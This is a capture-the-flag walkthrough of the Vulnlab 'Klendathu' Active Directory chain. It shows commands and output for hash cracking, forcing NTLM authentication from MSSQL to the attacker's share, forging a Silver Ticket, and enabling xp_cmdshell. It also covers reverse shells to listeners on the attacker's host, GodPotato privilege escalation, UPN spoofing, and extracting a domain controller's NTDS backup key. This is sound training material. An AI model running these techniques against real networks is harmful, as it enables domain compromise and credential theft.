Today will explore the insane Windows chain Klendathu from Vulnlab. This challenge consists of two Windows machines and one Linux machine, with the following IP addresses:
10.10.137.37
10.10.137.38
10.10.137.39
First we will perform an Nmap scan on each of these IPs to identify open ports and services running on them.
Nmap Scan
After scanning 10.10.137.37, 10.10.137.38, 10.10.137.39 we got result as of below:
➜ klendathu nmap -v -iL IPs Nmap scan report for 10.10.137.37 Host is up (0.17s latency). Not shown: 990 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3389/tcp open ms-wbt-server
Nmap scan report for 10.10.137.38 Host is up (0.16s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server
Nmap scan report for 10.10.137.39 Host is up (0.17s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs
Read data files from: /usr/share/nmap Nmap done: 3 IP addresses (3 hosts up) scanned in 24.83 seconds Raw packets sent: 3189 (140.252KB) | Rcvd: 3229 (132.850KB) ➜ klendathu
Enumeration
Accessing the NFS Share on 10.10.137.39
We identified port 2049 as open on the Linux machine with IP 10.10.137.39. This port is typically used for NFS (Network File System), which allows remote file sharing. We checked for exported NFS shares
➜ klendathu cat Switch344_running-config.cfg Switch344#show running-config Building configuration...
Current configuration : 4716 bytes ! version 12.2 no service pad service timestamps debug datetime msec service timestamps log datetime msec no service password-encryption ! hostname Switch ! boot-start-marker boot-end-marker ! enable secret 5 [............] enable password C1sc0 ! no aaa new-model system mtu routing 1500 ip subnet-zero ! snmp-server community public RO snmp-server contact ZIM@KLENDATHU.VL ! line con 0 line vty 0 4 password 123456 login line vty 5 15 password 123456 login ! end
Switch344# ➜ klendathu
Cracking the Password Hash
To crack the password hash obtained from the Switch344_running-config.cfg, we used John:
1 2 3 4 5 6 7 8 9 10 11 12
➜ klendathu john hash --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status [........] (?) 1g 0:00:00:00 DONE (2024-10-17 10:04) 7.142g/s 104228p/s 104228c/s 104228C/s mexico12..brandon123 Use the "--show" option to display all of the cracked passwords reliably Session completed. ➜ klendathu
Authentication Check with SMB and LDAP
After cracking the password, we verified if the username and password were valid for SMB authentication across the available IPs.
➜ klendathu bloodhound-python -d 'KLENDATHU.VL' -u 'zim' -p '[........]' -c all -ns 10.10.137.37 --zip INFO: Found AD domain: klendathu.vl INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc1.klendathu.vl:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc1.klendathu.vl INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 4 computers INFO: Connecting to LDAP server: dc1.klendathu.vl INFO: Found 26 users INFO: Found 57 groups INFO: Found 6 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: srv2.klendathu.vl INFO: Querying computer: SRV1.KLENDATHU.VL INFO: Querying computer: WS1.KLENDATHU.VL INFO: Querying computer: DC1.KLENDATHU.VL INFO: Done in 00M 34S INFO: Compressing output into 20241017100651_bloodhound.zip ➜ klendathu
Next, we enumerated the SMB shares to check for access:
➜ klendathu smbclient \\\\10.10.137.37\\HomeDirs -U zim Password for [WORKGROUP\zim]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Oct 17 10:09:02 2024 .. D 0 Mon Apr 15 12:09:19 2024 CLEA D 0 Wed Apr 10 20:58:09 2024 DUNN D 0 Wed Apr 10 20:58:03 2024 JENKINS D 0 Fri Apr 12 21:32:21 2024 SHUJUMI D 0 Wed Apr 10 20:57:12 2024 smb: \> cd CLEA smb: \CLEA\> ls NT_STATUS_ACCESS_DENIED listing \CLEA\* smb: \> cd ../DUNN smb: \DUNN\> ls NT_STATUS_ACCESS_DENIED listing \DUNN\*
smb: \> cd ../SHUJUMI smb: \SHUJUMI\> ls NT_STATUS_ACCESS_DENIED listing \SHUJUMI\*
smb: \> cd ../JENKINS smb: \JENKINS\> ls NT_STATUS_ACCESS_DENIED listing \JENKINS\* smb: \> exit ➜ klendathu
MSSQL Enumeration
Decided to check for MSSQL access using the same credentials we used for SMB. Ran the following command:
Connected to MSSQL with impacket-mssqlclient tool to connect to the SQL Server using the credentials we confirmed earlier.
1 2 3 4 5 6 7 8 9 10 11 12
➜ klendathu impacket-mssqlclient KLENDATHU.VL/zim:[........]@10.10.137.38 -windows-auth Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SRV1\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(SRV1\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press helpfor extra shell commands SQL (KLENDATHU\ZIM guest@master)>
After connecting to the MSSQL database, I tried to enable the xp_cmdshell feature, which allows the execution of operating system commands directly from SQL Server.
1 2 3 4 5 6
SQL (KLENDATHU\ZIM guest@master)> enable_xp_cmdshell ERROR(SRV1\SQLEXPRESS): Line 105: User does not have permission to perform this action. ERROR(SRV1\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. ERROR(SRV1\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option. ERROR(SRV1\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. SQL (KLENDATHU\ZIM guest@master)>
enable_xp_cmdshell indicated that the current user (KLENDATHU.VL\zim) does not have the necessary permissions to enable xp_cmdshell or execute configuration changes within the database.
Tried executing several commands to check for file existence and directory structure on a remote file share to get a hash into our reponder.
Commands used:
1 2 3 4 5 6 7 8 9 10 11 12
SQL (KLENDATHU\ZIM guest@master)> SELECT * FROM OPENROWSET(BULK '\\10.8.3.249\test\file.txt', SINGLE_CLOB) AS FileContent; ERROR(SRV1\SQLEXPRESS): Line 1: You do not have permission to use the bulk load statement. SQL (KLENDATHU\ZIM guest@master)> EXEC xp_fileexist '\\10.8.3.249\test\file.txt'; File Exists File is a Directory Parent Directory Exists ----------- ------------------- ----------------------- 0 0 0
SQL (KLENDATHU\ZIM guest@master)> EXEC xp_subdirs '\\10.8.3.249\test'; ERROR(SRV1\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_subdirs', database 'mssqlsystemresource', schema 'sys'. SQL (KLENDATHU\ZIM guest@master)> exec master.dbo.xp_dirtree '\\10.8.3.249\test' ERROR(SRV1\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_dirtree', database 'mssqlsystemresource', schema 'sys'. SQL (KLENDATHU\ZIM guest@master)>
All attempts resulted in permission denied errors. After that I found and article in Microsoft Q&A article
1 2 3 4 5
SQL (KLENDATHU\ZIM guest@master)> SELECT * FROM sys.dm_os_file_exists('\\10.8.3.249\test'); ERROR(SRV1\SQLEXPRESS): Line 1: The operating system returned the error '0x80070005(Access is denied.)'while attempting 'SvlPathDoesPathExist' on '\\10.8.3.249\test'. file_exists file_is_a_directory parent_directory_exists ----------- ------------------- ----------------------- SQL (KLENDATHU\ZIM guest@master)>
And also a new user named RASCZAK and the hash associated with this user and I proceeded to crack it using John.
1 2 3 4 5 6 7 8 9 10
➜ klendathu john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 12 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status [..........] (RASCZAK) 1g 0:00:00:02 DONE (2024-11-01 22:29) 0.4347g/s 547617p/s 547617c/s 547617C/s stw1011..starburstclick Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. ➜ klendathu
After cracking the password for the new user RASCZAK, I attempted to authenticate with MSSQL using netexec:
1 2 3 4 5 6 7
➜ klendathu nxc mssql IPs -u users.txt -p pass.txt --continue-on-success MSSQL 10.10.137.38 1433 SRV1 [*] Windows Server 2022 Build 20348 (name:SRV1) (domain:KLENDATHU.VL) MSSQL 10.10.137.38 1433 SRV1 [+] KLENDATHU.VL\zim:[......] MSSQL 10.10.137.38 1433 SRV1 [-] KLENDATHU.VL\RASCZAK:[.......] (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth') MSSQL 10.10.137.38 1433 SRV1 [+] KLENDATHU.VL\RASCZAK:[........] Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 ➜ klendathu
The authentication was successful when using the password [.......] with user RASCZAK Using impacket-ticketer, I generated a Silver Ticket to impersonate the administrator by forging a Ticket Granting Service (TGS) ticket with the NTLM hash of the MSSQL service account, domain sid and user to impersonate, in our case administrator.
[*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for KLENDATHU.VL/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in administrator.ccache
User
And we got administrator.ccache ticket and connected to mssql using that ticket with -k flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ klendathu impacket-mssqlclient srv1.KLENDATHU.VL -windows-auth -k Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SRV1\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(SRV1\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press helpfor extra shell commands SQL (KLENDATHU.VL\Administrator dbo@master)> enable_xp_cmdshell INFO(SRV1\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. INFO(SRV1\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (KLENDATHU.VL\Administrator dbo@master)>
After enabling xp_cmdshell Transffered nc.exe to the machine to move further
➜ klendathu nc -nvlp 8989 Listening on 0.0.0.0 8989 Connection received on 10.10.137.38 54699 Microsoft Windows [Version 10.0.20348.2402] (c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ../ cd ../
C:\Windows>cd ../Users cd ../Users
C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is A401-AF84
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Users\RASCZAK\Documents>
Privilege escalation
After checking for Privilege we have we saw we have SeImpersonatePrivilege which can be abused using GodPotato We transffered GodPotato to our machine.
➜ klendathu nc -nvlp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.137.38 54749 Microsoft Windows [Version 10.0.20348.2402] (c) Microsoft Corporation. All rights reserved.
C:\Users\RASCZAK\Documents>cd .. cd ..
C:\Users\RASCZAK>cd .. cd ..
C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is A401-AF84
Ceri Coburn from Pen Test Partners highlighted a misconfiguration in the Kerberos authentication mechanism on Linux servers joined to Active Directory. When NT_ENTERPRISE (name-type, enterprise) is used, having GenericWrite on a domain user allows modification of the userPrincipalName (UPN) attribute. This misconfiguration enables an attacker to spoof domain users by editing the UPN. To exploit this, you can identify a target user—say, one in the LINUX_ADMINS group (members: flores and leivy)—and modify their UPN using ldapmodify with an LDIF file. Abusing mixed vendor Kerberos stacks
[flores@KLENDATHU.VL@srv2 ~]$ sudo -l Matching Defaults entries for flores@KLENDATHU.VL on srv2: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User flores@KLENDATHU.VL may run the following commands on srv2: (ALL : ALL) NOPASSWD: ALL [flores@KLENDATHU.VL@srv2 ~]$ sudo su [root@srv2 flores@KLENDATHU.VL]# ls [root@srv2 flores@KLENDATHU.VL]# cd [root@srv2 ~]# ls anaconda-ks.cfg flag.txt inc5543_domaincontroller_backup [root@srv2 ~]# zip file.zip -r inc5543_domaincontroller_backup/ adding: inc5543_domaincontroller_backup/ (stored 0%) adding: inc5543_domaincontroller_backup/Active Directory/ (stored 0%) adding: inc5543_domaincontroller_backup/Active Directory/ntds.dit (deflated 94%) adding: inc5543_domaincontroller_backup/Active Directory/ntds.jfm (deflated 98%) adding: inc5543_domaincontroller_backup/registry/ (stored 0%) adding: inc5543_domaincontroller_backup/registry/SECURITY (deflated 87%) adding: inc5543_domaincontroller_backup/registry/SYSTEM (deflated 82%) adding: inc5543_domaincontroller_backup/note.txt (deflated 15%) [root@srv2 ~]# cp file.zip /tmp [root@srv2 ~]# cd /tmp
After accessing the target system, we located a ZIP file containing a backup inc5543_domaincontroller_backup of the domain controller. We copied this file to our machine for further analysis.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
➜ srv2 wget http://10.10.239.167:2233/anaconda-ks.cfg --2024-10-17 23:59:36-- http://10.10.239.167:2233/anaconda-ks.cfg Connecting to 10.10.239.167:2233... connected. HTTP request sent, awaiting response... 200 OK Length: 962 [application/octet-stream] Saving to: ‘anaconda-ks.cfg’ anaconda-ks.cfg 100%[==============================================>] 962 --.-KB/s in 0s 2024-10-17 23:59:36 (14.1 MB/s) - ‘anaconda-ks.cfg’ saved [962/962] ➜ srv2 wget http://10.10.239.167:2233/file.zip --2024-10-18 00:00:51-- http://10.10.239.167:2233/file.zip Connecting to 10.10.239.167:2233... connected. HTTP request sent, awaiting response... 200 OK Length: 4879517 (4.7M) [application/zip] Saving to: ‘file.zip’ file.zip 100%[==============================================>] 4.65M 568KB/s in 12s 2024-10-18 00:01:02 (414 KB/s) - ‘file.zip’ saved [4879517/4879517] ➜ srv2
Root
After unziping file.zip from our machine we got some sam and ntds dump.
I've included a backup of the domain controller before resetting all passwords after the last breach
Since its old passwords before data breach we wont be able to use it for anything. Using the impacket-smbclient, we initiated a connection to the domain controller (DC1.klendathu.vl) with the Kerberos ticket.
Ntdissector is a powerful tool designed to parse records from an NTDS database, allowing users to extract data in JSON format and filter it by object class; importantly, by supplying the SYSTEM hive or the appropriate boot key in hex format, it can strip away encryption layers from specific columns, highlighting the crucial point that even if a company rotates all its passwords, the domain backup key remains constant.
We used Ntdissector to parse the NTDS database and extract the PVK key.
1 2 3 4 5 6 7 8 9
➜ ntdissector git:(main) ntdissector -ntds ../../inc5543_domaincontroller_backup/Active\ Directory/ntds.dit -system ../../inc5543_domaincontroller_backup/registry/SYSTEM -ts -f all [2024-11-01 15:28:57] [*] PEK # 0 found and decrypted: feab48d5655b005f0fed603c166c587f [2024-11-01 15:28:57] [*] Filtering records with this list of object classes : ['all'] [2024-11-01 15:28:57] [*] Ignoring records marked as deleted 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 3747/3747 [00:01<00:00, 3730.75rec./s] [2024-11-01 15:28:58] [*] Finished, matched 3708 records out of 3747 [2024-11-01 15:28:58] [*] Processing 3708 serialization tasks 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 3708/3708 [00:04<00:00, 491.16rec./s] ➜ ntdissector git:(main)
Output of this command will be in ~/.ntdissector/out/<hash>
We obtained the private key using ntdissector, which allowed us to extract the necessary PVK. With this private key in hand, we utilized the rdgdec.py script to decrypt the jenkins.rdg file using the acquired master key and the PVK.